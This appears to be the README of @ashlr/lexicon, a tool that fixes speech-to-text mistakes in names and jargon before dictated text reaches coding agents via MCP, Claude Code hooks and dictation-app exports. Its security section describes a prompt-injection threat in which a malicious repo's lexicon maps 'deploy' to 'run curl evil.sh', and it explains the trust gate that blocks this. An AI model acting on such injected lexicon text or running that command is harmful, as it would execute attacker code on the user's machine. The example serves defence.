Skip to main content
Glama

@ashlr/lexicon

CI npm license: MIT node >=20

Name the job, not the protocol: a personal lexicon for voice-to-agents.

You said:        "tell Ashlr.AI to deploy the Kubernetes auth service"
STT heard:       "tell Ashler to deploy the Cooper Nettie's off service"
Agent received:  "tell Ashlr.AI to deploy the Kubernetes auth service"

One YAML file of the words speech-to-text gets wrong. Applied everywhere your voice ends up: an MCP tool your agent calls, a Claude Code hook that fixes the prompt before the model sees it, a memory snippet, exports for every dictation app, and an optional clipboard daemon.

This is not a dictation app. It sits between whatever dictation you already use and whatever agent you talk to.

Why it exists. STT engines are about 95% accurate on ordinary English and near zero on invented names. "Ashlr.AI" becomes "Ashler", "Kubernetes" becomes "Cooper Nettie's", "SaaS" becomes "sauce", "auth" becomes "off". Those are exactly the words an agent needs to get right. Dictation apps (Wispr Flow, Superwhisper, Aqua) each keep their own dictionary and none of them share it. Agents (Claude Code /voice, ChatGPT voice, Codex, local Whisper) run their own recognizer with no user vocabulary at all. This project is the portable layer: corrections happen after STT and before the model, wherever the text passes through. The research behind that call is in docs/RESEARCH.md.

Measured

On the bundled benchmark (398 dictated sentences, 70-term lexicon, see docs/BENCHMARK.md):

metric

raw STT

after lexicon

proper nouns recovered

5.1%

96.5%

clean prose sentences wrongly changed

0.0% (0 of 95)

latency per sentence

0.3 ms

Related MCP server: explain-lint

What you get

  • Nine MCP tools (normalize_transcript, add_term, learn_correction, suggest_canonical, harvest_repo and four more) for Claude Code, Codex, Cursor, Windsurf, Gemini CLI, VS Code and Claude Desktop. See MCP tools.

  • A Claude Code plugin: MCP server, SessionStart and UserPromptSubmit hooks, a lexicon skill and a /lexicon command. Installs from this repo's marketplace with no build step.

  • Fifteen export formats: Wispr Flow, Superwhisper, macOS Text Replacement, espanso, Whisper and OpenAI prompts, Deepgram, AssemblyAI, Azure, Google, CLAUDE.md, markdown, text, CSV, JSON.

  • Seven import formats for the dictionary you already have: Wispr CSV, Superwhisper JSON, macOS plist, espanso, text, CSV, JSON.

  • Repo harvesting, correction learning ("it's Ashlr.AI not Ashler"), usage stats, a trust gate for project lexicons, and a clipboard daemon for macOS, Linux and Windows.

  • A plain library: normalize() is a pure function. See Use as a library.

Install

npm i -g @ashlr/lexicon

Add a term. The first argument is the canonical spelling, the rest are what STT actually produces.

lexicon add Ashlr.AI Ashler Ashlar "Ashler AI" --phonetic ASH-ler

Try it.

lexicon normalize "tell Ashler to ship it"
# tell Ashlr.AI to ship it

Node 20 or newer. Nothing else is required; the tool makes no network requests.

Use with Claude Code

Three options, from most to least integrated.

a. Plugin

claude plugin marketplace add ashlrai/lexicon
claude plugin install lexicon@ashlrai

Or inside a Claude Code session: /plugin marketplace add ashlrai/lexicon then /plugin install lexicon@ashlrai. The marketplace manifest is .claude-plugin/marketplace.json.

The plugin ships:

  • .mcp.json: the lexicon MCP server.

  • hooks/hooks.json: a SessionStart hook that hands the model your lexicon once per session and a UserPromptSubmit hook that corrects each dictated prompt. Both are described under What the hooks do.

  • skills/lexicon/SKILL.md: tells Claude when to normalize, when to save a correction and when to ask "did you mean".

  • commands/lexicon.md: the /lexicon command (/lexicon, /lexicon add X as Y, Z, /lexicon learn Y -> X, /lexicon harvest, /lexicon export <format>, /lexicon remove X, /lexicon stats).

The plugin is self-contained. .mcp.json and hooks/hooks.json run plugin/mcp-server.mjs and plugin/hook.mjs, two single-file bundles committed to the repo with every dependency inlined. A plugin install is a bare clone with no npm install and no build step, and that is all it needs: the only runtime requirement is Node 20 or newer on your PATH. The bundles are produced by npm run build:bundle and CI fails when they are out of date with src/.

b. Manual

lexicon install-claude          # print what would change
lexicon install-claude --apply  # do it

Without --apply it prints the three steps. With --apply it performs the first two:

  1. Registers the MCP server: claude mcp add --scope user lexicon -- node "<install path>/plugin/mcp-server.mjs". Use --scope project to register it in the current repo instead.

  2. Merges SessionStart and UserPromptSubmit hooks running node "<install path>/plugin/hook.mjs" (timeout 5s) into ~/.claude/settings.json. Existing hooks are kept. The fragment is in examples/claude-settings.hook.json.

  3. Reminds you to add "Read the lexicon://me resource before interpreting dictated text" to your CLAUDE.md.

Paths are absolute and quoted, so an install path with spaces works. The bundles under plugin/ are preferred (the npm package ships them too); a checkout that only ran npm run build falls back to dist/mcp/server.js and dist/hooks/user-prompt-submit.js. lexicon doctor checks that the plugin or the hooks are in place.

c. Minimal

No hook, no MCP. Paste the markdown export into CLAUDE.md so the model at least knows the right spellings.

lexicon export claude-md >> CLAUDE.md

What the hooks do

Claude Code hooks cannot rewrite the prompt. The UserPromptSubmit hook does not try. It runs normalize on the submitted text and, only if something changed, returns an additionalContext note:

The hook also bumps each matched term's hits counter in the background; it never delays or fails the prompt.

Voice lexicon corrections for this prompt (the user dictated; apply these):
"Ashler" -> "Ashlr.AI" (alias, 1.00)
"head sner" -> "Hetzner" (alias, 1.00)
Corrected prompt:
tell Ashlr.AI to ship it to Hetzner

The model starts the turn already knowing that "Ashler" means "Ashlr.AI". When nothing changed it prints nothing. It always exits 0, logs errors to stderr only, and measures about 100ms end to end including Node startup (budget 200ms), so a broken lexicon never blocks a prompt.

When the prompt itself is a correction ("it's Ashlr.AI, not Ashlar", "Ashlar -> Ashlr.AI", "replace Ashlar with Ashlr.AI") the hook adds one more line asking the model to call learn_correction with those two values. The hook never writes to the lexicon; the model makes the call, so a false positive costs nothing.

The same file runs as the SessionStart hook (startup, resume, clear and compact). It emits the claude-md export of your merged lexicon as additionalContext, so the spellings reach the model once per session even if it never reads lexicon://me. The context is capped at about 4000 characters; longer tables end with "... N more terms; read the lexicon://me resource for the full list." An empty lexicon emits nothing. An untrusted project file adds one line naming its path, never its contents (see Security and trust).

Use with other agents

One command per client

lexicon install <client> prints the MCP config the client needs, with the absolute path to the installed server. Add --apply to merge it into the client's config file (existing keys and other servers are kept; running it twice is a no-op).

lexicon install codex            # print the [mcp_servers.lexicon] block for ~/.codex/config.toml
lexicon install codex --apply    # write it

Client

Command

Writes

Claude Code

lexicon install claude

same as install-claude (MCP + hooks)

OpenAI Codex CLI

lexicon install codex

~/.codex/config.toml ([mcp_servers.lexicon])

Cursor

lexicon install cursor

~/.cursor/mcp.json

Windsurf

lexicon install windsurf

~/.codeium/windsurf/mcp_config.json

Gemini CLI

lexicon install gemini

~/.gemini/settings.json

Claude Desktop

lexicon install claude-desktop

~/Library/Application Support/Claude/claude_desktop_config.json (macOS), %APPDATA%\Claude\claude_desktop_config.json (Windows), ~/.config/Claude/claude_desktop_config.json (Linux)

VS Code

lexicon install vscode

~/Library/Application Support/Code/User/mcp.json (macOS), ~/.config/Code/User/mcp.json (Linux), %APPDATA%\Code\User\mcp.json (Windows)

Anything else

lexicon install

prints the generic mcpServers snippet

--project (or --scope project) writes the repo-level file instead where the client has one: ./.codex/config.toml, ./.cursor/mcp.json, ./.gemini/settings.json, ./.vscode/mcp.json. Every client ends with the same hint: lexicon export claude-md >> <rules file> (CLAUDE.md, AGENTS.md for Codex, .cursor/rules/, GEMINI.md) so the model prefers the canonical spellings even when it does not call the tool.

Any MCP client

Point the client at the stdio server. See examples/mcp-config.json.

{
  "mcpServers": {
    "lexicon": {
      "command": "lexicon-mcp",
      "args": []
    }
  }
}

lexicon-mcp is on your PATH after npm i -g. From a checkout, use "command": "node", "args": ["/path/to/lexicon/plugin/mcp-server.mjs"] instead; the bundle runs without a build.

The agent then calls normalize_transcript on dictated input and reads lexicon://me for the full vocabulary. The server also sends one-screen instructions at connect time, so a client that honours them knows the workflow without the skill.

ChatGPT, Claude, Grok voice

You cannot patch their recognizer. What you can do is give the model the vocabulary so it corrects the transcript itself. Paste the export into custom instructions, memory or a project system prompt.

lexicon export claude-md | pbcopy

Use with your dictation app

Export the same lexicon into each app's native dictionary format.

lexicon export <format> --out <file>

Format

What you get

Where it goes

wispr

CSV word,replacement

Wispr Flow > Dictionary > Import

superwhisper

Replacements JSON

Superwhisper replacements

macos

Text Replacement .plist

Drag into System Settings > Keyboard > Text Replacements

espanso

espanso match YAML

~/.config/espanso/match/lexicon.yml

whisper-prompt

One line for Whisper initial_prompt

Any Whisper wrapper. Keep it under about 100 terms or it stops helping

openai

One line of canonicals

OpenAI transcription prompt field (same as whisper-prompt)

deepgram

Keyword boost JSON

Deepgram keywords parameter

assemblyai

word_boost JSON

AssemblyAI word_boost / boost_param

azure

phraseList JSON

Azure Speech PhraseListGrammar

google

Adaptation phraseSets JSON

Google Speech-to-Text model adaptation (boost 20 for brand/person/product, 10 otherwise)

claude-md

Markdown table under ## Voice lexicon

CLAUDE.md, AGENTS.md, any system prompt. Also what lexicon://me and the SessionStart hook emit

markdown

- **Canonical** (category): aliases bullets

READMEs, wikis

text

Canonical: alias1, alias2 per line

Anything human-edited; lexicon import reads it back

csv

Generic canonical,alias

Anything else

json

Raw lexicon JSON

Scripts, backups

lexicon export with no format lists them. --category brand person limits the export to those categories. --limit N caps term count.

Import an existing dictionary

Already trained a dictation app? Bring its dictionary over in one command instead of retyping it. The format is detected from the content; pass it explicitly when the file has no header.

lexicon import ~/Downloads/wispr-dictionary.csv          # auto-detected
lexicon import - --format text < names.txt               # stdin
lexicon import replacements.json --project --dry-run     # preview into .lexicon.yaml, write nothing
lexicon import Text\ Substitutions.plist --category brand

Format

What it reads

Where to get it

wispr

CSV word,replacement (header optional, BOM/CRLF fine)

Wispr Flow > Dictionary > Export

superwhisper

JSON [{ original, replacement }] or { replacements: [...] }

Superwhisper replacements file

macos

Text Replacement .plist (shortcut = alias, phrase = canonical)

Drag entries out of System Settings > Keyboard > Text Replacements

espanso

matches: YAML (trigger = alias, replace = canonical; templates with vars, regex or multi-line replacements are skipped)

~/.config/espanso/match/*.yml

text

One term per line: Canonical, Canonical: alias1, alias2 or Canonical = alias1 | alias2; # comments

Anything you typed by hand, or lexicon export text

csv

canonical,alias,category,phonetic (columns matched by header)

lexicon export csv

json

A lexicon JSON or YAML file

lexicon export json, another machine's lexicon.yaml

Rows are merged by canonical (case-insensitive), aliases deduped, and each term is then added with the same merge rules as lexicon add, so re-importing is safe. The output is a table of what was created or merged plus a summary line, imported N terms (M new, K merged, S skipped); skipped rows and why go to stderr. Inputs over 8 MB are refused before parsing. Flags are in the CLI reference.

Harvest your repo

Most of the words STT mangles are already in your codebase.

lexicon harvest .          # list candidates
lexicon harvest . --add    # add them to the project lexicon

It scans package and module names (package.json, pyproject.toml, Cargo.toml, go.mod), PascalCase identifiers with two or more humps, git author names, the project directory name and proper nouns in README headings. Common words and generic identifiers (String, Error, Component) are filtered out. Each candidate comes with auto-suggested aliases.

canonical      category    count  suggested aliases                           evidence
-------------  ----------  -----  ------------------------------------------  -----------------
LexiconStore   identifier  5      Lexicon Store, Lexikon Store, LexikonStore  src/store.ts
Ashlr.AI       brand       2      Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI  README.md

--limit N caps candidates, --min-count N sets the minimum occurrences (default 2), --json prints candidates as JSON. It never reads node_modules, dist, .git, vendor or build.

Pick candidates one by one

On a terminal, --add walks the candidates instead of adding them blindly (--yes adds every candidate without asking; --interactive / -i forces the walkthrough without --add). Each candidate shows its category, count, evidence and suggested aliases; one key decides it:

$ lexicon harvest . --add
12 candidates [y]es  [n]o  [e]dit aliases  [c]ategory  [a]ll remaining  [q]uit

[1/12] LexiconStore  identifier, seen 5x
  evidence: src/store.ts, src/index.ts
  aliases:  Lexicon Store, Lexikon Store, LexikonStore
  add? [y/n/e/c/a/q] y
  added LexiconStore

[2/12] Ashlr.AI  brand, seen 2x
  evidence: README.md
  aliases:  Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI
  add? [y/n/e/c/a/q] e
  aliases (comma-separated, replaces the suggestions) [Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI] Ashler, Ashlar, Ashley our AI
  aliases:  Ashler, Ashlar, Ashley our AI
  add? [y/n/e/c/a/q] y
  added Ashlr.AI

[3/12] Mason Wyatt  person, seen 40x
  evidence: git log
  aliases:  Mason Wyat, Mason Wyeth
  add? [y/n/e/c/a/q] q

added 2 new terms, merged 0, skipped 10 in /repo/.lexicon.yaml
project lexicon trusted (/repo/.lexicon.yaml)

y adds, n skips, e replaces the suggested aliases with what you type, c changes the category, a adds this and every remaining candidate, q stops. Adds go to the project lexicon and respect the trust gate. --interactive without a terminal (a pipe, CI) is an error; use --add --yes there.

Learn from corrections

The other source of terms is you correcting the agent. lexicon learn records what STT heard and what you meant; the MCP tool learn_correction does the same from inside a session, and the UserPromptSubmit hook prompts the model to call it when your prompt is a correction.

lexicon learn Ashler Ashlr.AI                       # <heard> <meant>
lexicon learn "Ashler -> Ashlr.AI"                   # or one sentence
lexicon learn --from "it's Ashlr.AI, not Ashler"     # natural language

If Ashlr.AI already exists (as a canonical or an alias) the heard form becomes one more alias of it; otherwise a new term is created with source: learned plus auto-suggested aliases. Recognized phrasings: "it's X not Y", "I said X not Y", "I meant X not Y", "not Y, X", "replace Y with X", "Y -> X", "Y should be X", plus quoted forms. --project writes to .lexicon.yaml.

lexicon stats shows term and alias counts, total hits, the ten most-used terms and up to twenty that never fired. Every replacement made by the MCP normalize_transcript tool bumps the term's hits counter (the hook and the CLI do not write), so the numbers reflect what the agent actually corrected.

Review what you have

lexicon review walks existing terms (--never-hit for only the ones that never fired, --project for the project file, --category <c>), showing each term's aliases and hit count and taking k keep, d delete, e edit aliases, p phonetic hint, n notes, q quit. The file is written once at the end. lexicon edit opens the global (or --project) file in $VISUAL / $EDITOR and validates it when the editor exits, reporting any schema error with the path so your edits are never lost. lexicon add <canonical> -i turns the auto-suggested aliases into a checklist and asks for the phonetic hint and category.

Clipboard daemon (macOS, Linux, Windows)

Dictate anywhere, copy the text, paste the corrected version.

After writing a correction to the clipboard the daemon records the hits, best-effort.

lexicon daemon                 # watch the clipboard, rewrite in place
lexicon daemon --once          # correct the clipboard once and exit (bind this to a shortcut)
lexicon daemon --once --paste  # ...then send Cmd+V to the frontmost app (macOS)
lexicon daemon --dry-run       # print what would change, do not write
lexicon daemon --interval 500  # poll every 500ms instead of 250
lexicon daemon --quiet         # rewrite silently
lexicon daemon --which         # print the detected clipboard backend and exit
lexicon daemon --backend xsel  # force a backend: pbcopy | wl | xclip | xsel | powershell

The watcher polls the clipboard every 250ms. When the text changes and normalize would alter it, it writes the corrected text back and prints the diff. A loop guard remembers the last value it wrote so it never rewrites its own output. The lexicon is re-read at most every 5 seconds. Ctrl-C stops it cleanly.

The clipboard tool is detected per platform (lexicon daemon --which and lexicon doctor show which one):

Platform

Backend

Commands

macOS

pbcopy

pbpaste / pbcopy (built in)

Linux, Wayland (WAYLAND_DISPLAY set)

wl

wl-paste --no-newline / wl-copy (sudo apt install wl-clipboard)

Linux, X11

xclip, else xsel

xclip -selection clipboard -o / -i (sudo apt install xclip)

Windows

powershell

Get-Clipboard -Raw / Set-Clipboard (built in; CRLF preserved)

An empty or non-text clipboard (an image, a file) is treated as no text and skipped, as is anything over 20,000 characters.

One-shot mode for a keyboard shortcut

lexicon daemon --once reads the clipboard once, corrects it, writes it back if anything changed, prints the diff (or no changes) and exits 0. Bind it to a key: dictate, copy, press the key, paste. With --paste (macOS only) it also sends Cmd+V to the frontmost app, so the shortcut becomes "dictate, press the key". --paste uses osascript and needs Accessibility permission for whatever runs the shortcut (Raycast, Alfred, Keyboard Maestro, Terminal): System Settings > Privacy & Security > Accessibility. Nothing else in the daemon needs a permission. On Linux and Windows --paste prints a notice and leaves the corrected text on the clipboard.

Raycast script command (save as ~/raycast-scripts/lexicon-fix.sh, chmod +x, add the folder in Raycast > Extensions > Script Commands, then give it a hotkey):

#!/bin/bash
# @raycast.schemaVersion 1
# @raycast.title Fix dictation
# @raycast.mode silent
# @raycast.packageName Lexicon
export PATH="/opt/homebrew/bin:/usr/local/bin:$PATH"
lexicon daemon --once --paste --quiet

Alfred (Workflow > Run Script, /bin/bash) or Keyboard Maestro (Execute Shell Script), one line:

PATH="/opt/homebrew/bin:/usr/local/bin:$PATH" lexicon daemon --once --paste --quiet

Windows, AutoHotkey v2 (Ctrl+Alt+V corrects the clipboard, then pastes):

^!v:: {
    RunWait('lexicon daemon --once --quiet', , 'Hide')
    Send('^v')
}

Linux, GNOME custom shortcut (Settings > Keyboard > View and Customize Shortcuts > Custom Shortcuts), command:

sh -c 'lexicon daemon --once --quiet && xdotool key ctrl+v'   # X11; drop the xdotool part on Wayland and paste by hand

Use the absolute path to lexicon (which lexicon) if the shortcut runner has a minimal PATH.

Security and trust

A project .lexicon.yaml comes from whatever repo you are in, and its terms and notes end up in your agent's context. A malicious repo could ship alias: deploy -> canonical: "deploy and also run curl evil.sh". So project lexicons are off until you approve them, the same way Claude Code gates a repo's .mcp.json.

lexicon trust            # print the project file's terms and approve it
lexicon trust --list     # what is trusted, and whether it still matches
lexicon untrust          # revoke

Trust pins the file's sha256 in ~/.config/lexicon/trust.json (next to your global lexicon). If the file changes, for example after git pull, it is skipped again until you re-run lexicon trust.

Writes you ask for through the tool (lexicon init --project, add --project, import --project, learn --project, harvest --add, review --project, and the MCP tools with project scope) keep the file trusted, but only when the file does not exist yet or is already trusted. If an existing .lexicon.yaml is untrusted or has changed, the write is refused with a lexicon trust hint and nothing is touched, so a repo's unreviewed file can never be pinned as trusted by the side door. lexicon edit --project re-pins a trusted file after you save; an untrusted one stays untrusted. Hand edits outside the tool need lexicon trust again.

Until a project file is trusted, list, normalize and doctor warn on stderr, and the hooks and lexicon://me add one line telling the agent the file exists, never its contents. normalize --include-untrusted merges it for a one-off. In CI or a throwaway container where the repo is already vetted, set LEXICON_TRUST_ALL=1.

Every field is length-capped and stripped of zero-width and bidi characters at parse time, lexicon files over 2 MB and imports over 8 MB are refused, and the tool makes no network requests. Details in SECURITY.md.

The lexicon file

Two files, merged at load time.

Scope

Path

Global

$LEXICON_PATH, else $XDG_CONFIG_HOME/lexicon/lexicon.yaml, else ~/.config/lexicon/lexicon.yaml

Project

.lexicon.yaml, found by walking up from the current directory to the git root

Project wins when both define the same canonical (case-insensitive). Aliases from both are unioned. Run lexicon path to see which files are in play. Commit .lexicon.yaml to share a team vocabulary; each teammate approves it once with lexicon trust.

A full annotated example is in examples/lexicon.example.yaml. The short version:

version: 1
terms:
  - canonical: Ashlr.AI
    aliases: [Ashler, Ashlar, Ashler AI, Ashley our AI]
    phonetic: ASH-ler
    category: brand
    notes: my company; never write Ashlar
  - canonical: SaaS
    aliases: [sass]
    category: acronym
    never: [sauce]
settings:
  minConfidence: 0.82
  phonetic: true
  fuzzy: true
  skipCode: true
  protectedWords: []

Per term: canonical, aliases, optional phonetic, category (brand, person, product, acronym, identifier, place, other), notes, never, caseSensitive. The tool also records source, createdAt and hits.

Settings

Key

Default

Meaning

minConfidence

0.82

Minimum confidence a phonetic or fuzzy match needs before it is applied. Exact aliases are always 1.0

phonetic

true

Enable double metaphone matching

fuzzy

true

Enable edit-distance matching

protectedWords

[]

Words no term may ever replace. Merged with the built-in stoplist

skipCode

true

Leave code spans, fenced blocks, URLs and emails alone

never per term

never is a per-term list of words that must not be rewritten to that canonical even when they sound alike. It is how SaaS avoids eating every "sauce" in your prompt while still catching "sass".

How matching works

Matching runs in three tiers over token windows. Exact hits are resolved first (longest span, earliest start); phonetic and fuzzy hits only get the spans left over, and matches never overlap.

  1. Exact alias. Word-boundary, multi-word, case-insensitive and diacritic-insensitive (bjorn halvorsen hits Bjørn Halvorsen) unless the term sets caseSensitive. Confidence 1.0.

  2. Phonetic. Double metaphone of a token window equals that of an alias or the canonical. Confidence about 0.9, scaled by length similarity.

  3. Fuzzy. Normalized Damerau-Levenshtein (adjacent-transposition-aware) similarity at or above minConfidence. Confidence equals the similarity.

Guards, checked before any replacement:

  • The built-in stoplist of about 300 common English words, plus settings.protectedWords, plus each term's never.

  • Spans already equal to the canonical. They are also claimed, so no other term can rewrite a word inside Tadeusz Wróblewski or Wispr Flow's.

  • Text inside code spans, fences, URLs and emails when skipCode is on.

  • Tokens shorter than three characters, and metaphone keys shorter than three characters (Zod, SSO, Neon, SaaS), are only ever matched by exact alias. Spelled-out aliases such as j w t never get a phonetic key.

  • A phonetic or fuzzy window of two or more words never starts or ends on a function word (to, is, a, the), so normalizeTranscript to cannot swallow the to.

  • A lone lowercase word (prism, email, gram) matched by sound or spelling against a term that has explicit aliases must score at least 0.88.

  • A trailing possessive is kept: ashler ai's becomes Ashlr.AI's.

Explicit aliases always beat the stoplist. If you list off as an alias for auth, "off" is rewritten. The stoplist exists to stop phonetic and fuzzy guessing, not to override what you wrote down. Use never if a term needs its own exceptions.

Every replacement carries reason (alias, phonetic, fuzzy) and confidence. --dry-run (CLI and MCP) returns the candidates without applying them.

lexicon normalize --diff "deploy to head sner with cooper netties and kubernetees"
# stderr:
#   "head sner" -> "Hetzner" (alias, 1.00)
#   "cooper netties" -> "Kubernetes" (phonetic, 0.85)
#   "kubernetees" -> "Kubernetes" (fuzzy, 0.91)
# stdout:
#   deploy to Hetzner with Kubernetes and Kubernetes

--diff goes to stderr so stdout stays pipeable. --min-confidence 0.9, --no-phonetic and --no-fuzzy override the file settings for one run. normalize always exits 0; if the lexicon fails to load it prints a warning to stderr and passes the text through unchanged.

MCP tools

Server name: lexicon. Transport: stdio. Bin: lexicon-mcp (or lexicon mcp, or node plugin/mcp-server.mjs). The lexicon is re-read on every call, so edits to the file take effect immediately. Nine tools, two resources, one prompt.

Tool

Arguments

Returns

normalize_transcript

text, dryRun?, minConfidence?

output, changed, replacements[], summary. Also bumps each term's hits counter

add_term

canonical, aliases?, phonetic?, category?, notes?, never?, scope?

The stored term, its file path and created. Aliases are auto-suggested when omitted

remove_term

canonical, scope?

Whether it existed

list_terms

query?, category?

Matching terms, counts per file, the paths in use, and a note when a project file was skipped as untrusted

harvest_repo

path?, limit?, minCount?, add?

Candidates. add: true writes them to that repo's project lexicon

export_lexicon

format, categories?, limit?

The export as text

learn_correction

heard, meant, scope?

The term the alias was added to, created, aliasAdded, a one-line summary

suggest_canonical

heard

Up to three existing terms closest to the garbled word, with confidence, for "did you mean X?"

lexicon_stats

none

Term and alias counts, total hits, top ten terms, never-hit terms, per-file breakdown

Resource

Type

Content

lexicon://me

text/markdown

The claude-md export of the merged lexicon. What an agent should read at session start. Adds one line naming a skipped untrusted project file

lexicon://json

application/json

The merged lexicon as JSON

Prompt

Purpose

voice-context

The claude-md export plus an instruction to apply the canonical spellings for the rest of the session

Project-scope writes (add_term, learn_correction, harvest_repo with add: true) go through the same trust gate as the CLI and return an error instead of touching an unreviewed .lexicon.yaml.

CLI reference

Global option: --cwd <dir> sets the directory used to find the project .lexicon.yaml. The same table with full --help output is generated into docs/CLI.md.

Command

Does

lexicon init

Create the global lexicon file if missing. --project creates .lexicon.yaml at the git root (or cwd) instead

lexicon add <canonical> [aliases...]

Add a term or merge aliases into an existing one. --phonetic <hint>, --category <c>, --notes <text>, --never <word...>, --project, --suggest (append auto-generated misspellings; automatic when no aliases are given), -i / --interactive (confirm the suggested aliases as a checklist, then ask for phonetic hint and category; needs a terminal)

lexicon remove <canonical> (alias rm)

Remove a term, project lexicon first then global. --project looks only in the project file

lexicon list (alias ls)

List the merged lexicon. --json, --category <c>, --query <text>

lexicon normalize [text...]

Correct text from arguments or stdin. --json, --diff (to stderr), --dry-run, --min-confidence <n>, --no-phonetic, --no-fuzzy, --include-untrusted. Always exits 0

lexicon harvest [path]

Scan a repo for candidate terms. --limit <n>, --min-count <n>, --add (on a terminal this walks candidates one by one), --yes (with --add: add every candidate without asking), -i / --interactive (the walkthrough without --add; needs a terminal), --json

lexicon export [format]

Export for another tool; no format lists them. --out <file>, --category <c...>, --limit <n>

lexicon import <file> [format]

Import a dictation app's dictionary (- for stdin; format auto-detected). --format <f>, --project, --dry-run, --source <s> (default import), --category <c> (applied to terms that lack one), --json

lexicon learn [words...]

Record a correction: <heard> <meant> or a sentence like "Ashler -> Ashlr.AI". --from <sentence>, --project, --json

lexicon stats

Term and alias counts, most-used terms and terms that never fired. --json

lexicon review

Walk existing terms and k keep, d delete, e edit aliases, p set phonetic, n set notes, q quit; the file is written once at the end. --never-hit, --project / --global (global by default), --category <c>. Needs a terminal

lexicon edit

Open the global lexicon (--project for .lexicon.yaml) in $VISUAL / $EDITOR, then re-parse it and report schema errors with the path (the file is never rewritten). Without an editor variable it prints the path. A trusted project file is re-pinned after the edit

lexicon trust [path]

Print a preview of the project .lexicon.yaml and pin its sha256 as trusted. --list shows trusted files and whether they still match

lexicon untrust [path]

Revoke approval for a project .lexicon.yaml

lexicon path

Print the resolved global and project file paths

lexicon doctor

Check lexicon files, term conflicts (duplicates across scopes, ambiguous aliases, aliases that are common words), the Claude Code integration (plugin or hooks, claude mcp list) and the clipboard backend. Lines are ✓ ok, ! warning, ✗ failure, · info. Exits 1 if anything failed

lexicon mcp

Start the stdio MCP server (same as lexicon-mcp)

lexicon hook

Run the Claude Code hook (JSON in, JSON out; dispatches on hook_event_name)

lexicon daemon

Clipboard watcher (macOS, Linux, Windows). --once (correct once and exit), --paste (with --once, send Cmd+V on macOS; needs Accessibility), --interval <ms>, --dry-run, --quiet, --backend <name>, --which

lexicon install-claude

Print the Claude Code MCP + hook setup. --apply performs it, `--scope user

lexicon install [client]

Print (or with --apply, merge) the MCP config for claude, codex, cursor, windsurf, gemini, claude-desktop or vscode; no client prints the generic snippet. --project / --scope project targets the repo-level file, --home <dir> overrides the home directory

Use as a library

Everything the CLI, MCP server and hooks do is available as plain functions. normalize() is pure (text + lexicon in, result out); the store functions read and write the same YAML files the CLI uses.

npm i @ashlr/lexicon
import { normalize, loadLexicon, addTerm, harvestRepo, exportLexicon } from '@ashlr/lexicon';

// Global ~/.config/lexicon/lexicon.yaml (or $LEXICON_PATH) merged with a trusted
// project .lexicon.yaml found from cwd.
const { merged: lexicon } = await loadLexicon({ cwd: process.cwd() });

const result = normalize('ask ashler to deploy pie dantic', lexicon);
// {
//   input: 'ask ashler to deploy pie dantic',
//   output: 'ask Ashlr.AI to deploy Pydantic',
//   changed: true,
//   replacements: [
//     { start: 4, end: 10, original: 'ashler', replacement: 'Ashlr.AI',
//       canonical: 'Ashlr.AI', reason: 'alias', confidence: 1 },
//     { start: 21, end: 31, original: 'pie dantic', replacement: 'Pydantic',
//       canonical: 'Pydantic', reason: 'alias', confidence: 1 },
//   ],
// }

// Teach it a term (merges aliases into an existing canonical; scope: 'project' writes .lexicon.yaml).
await addTerm({ canonical: 'Deepgram', aliases: ['deep gram'], category: 'product' });

// Mine a codebase for names worth adding, then render the lexicon for another tool.
const candidates = await harvestRepo('/path/to/repo', { limit: 20 });
const whisperPrompt = exportLexicon(lexicon, 'whisper-prompt');

Embedding it in your own STT pipeline, between the transcription API and the model:

import { loadLexicon, normalize, exportLexicon } from '@ashlr/lexicon';

const { merged: lexicon } = await loadLexicon();
const prompt = exportLexicon(lexicon, 'whisper-prompt');          // bias the STT model first
const heard = await transcribe(audio, { prompt });                  // Whisper / Deepgram / etc.
const fixed = normalize(heard, lexicon);                            // then fix what it still got wrong
if (fixed.changed) console.error(fixed.replacements.map((r) => `${r.original} -> ${r.replacement}`));
await llm.send(fixed.output);

Other useful exports: parseLexicon(raw) validates an object you loaded yourself, diffSummary(result) renders the replacement list, suggestAliases(canonical) guesses likely misspellings, importLexicon(content, format) parses another tool's dictionary, parseCorrection(text) and learnCorrection({ heard, meant }) handle corrections, suggestCanonicalFor(heard, lexicon) finds the closest terms, computeStats(loaded) reports usage, and EXPORT_FORMATS / IMPORT_FORMATS list what exportLexicon / importLexicon accept. Types (Lexicon, Term, NormalizeResult, HarvestCandidate, ...) are exported too. Runnable versions of both snippets: examples/library-usage.ts and examples/stt-pipeline.ts (node --import tsx examples/<file>).

Development

npm install
npm run build         # tsc -> dist/
npm run build:bundle  # esbuild -> plugin/mcp-server.mjs + plugin/hook.mjs (commit these)
npm run check:bundle  # rebuild and fail if plugin/ differs from the checked-in files (CI runs this)
npm test              # unit + integration + e2e (vitest)
npm run test:e2e      # only tests/e2e.test.ts: the real CLI, hook and MCP server as subprocesses
npm run bench         # accuracy benchmark (see bench/README.md); the report is what docs/BENCHMARK.md records
npm run docs:cli      # regenerate docs/CLI.md from every command's --help

Rebuild the plugin bundles before committing any change under src/core, src/mcp or src/hooks; CI rejects a stale plugin/. The e2e suite runs from source (node --import tsx) against a temp HOME, so it needs no build and never touches your real lexicon. Set LEXICON_SKIP_E2E=1 to skip it.

Manual stdio check:

node dist/mcp/server.js

Interactive check with the MCP inspector:

npx @modelcontextprotocol/inspector node dist/mcp/server.js

Project layout:

src/core/        the library: types, schema, store, trust, matcher, normalize, suggest, harvest, learn, stats, exporters/, importers/
src/cli/         the `lexicon` command (commander wiring in index.ts, handlers in commands.ts and cmd-*.ts, prompt.ts for interactive input)
src/mcp/         the stdio MCP server (`lexicon-mcp`)
src/hooks/       the Claude Code SessionStart and UserPromptSubmit hook
src/daemon/      the clipboard watcher and its per-platform backends
plugin/          committed esbuild bundles of the MCP server and hook that the plugin runs
tests/           vitest; one file per module, e2e.test.ts for whole-journey subprocess tests, fixtures/fake-repo for harvest
bench/           accuracy benchmark corpus and runner
examples/        example lexicon, client configs, library and STT pipeline examples
scripts/         build-bundle (plugin) and gen-cli-docs
docs/            ARCHITECTURE, RESEARCH, BENCHMARK and the generated CLI reference
skills/ commands/ hooks/ .claude-plugin/ .mcp.json   what makes the repo a Claude Code plugin

Module layout and design decisions are in docs/ARCHITECTURE.md; the per-module API is in CONTRACT.md. See CONTRIBUTING.md to add an exporter, importer, harvester or journey test.

Roadmap and non-goals

Non-goals:

  • Not a dictation app. Bring your own.

  • No hosted accounts, no sync service. It is a file.

  • No Chrome extension.

Roadmap:

  • VS Code extension that applies the lexicon to dictation inside the editor.

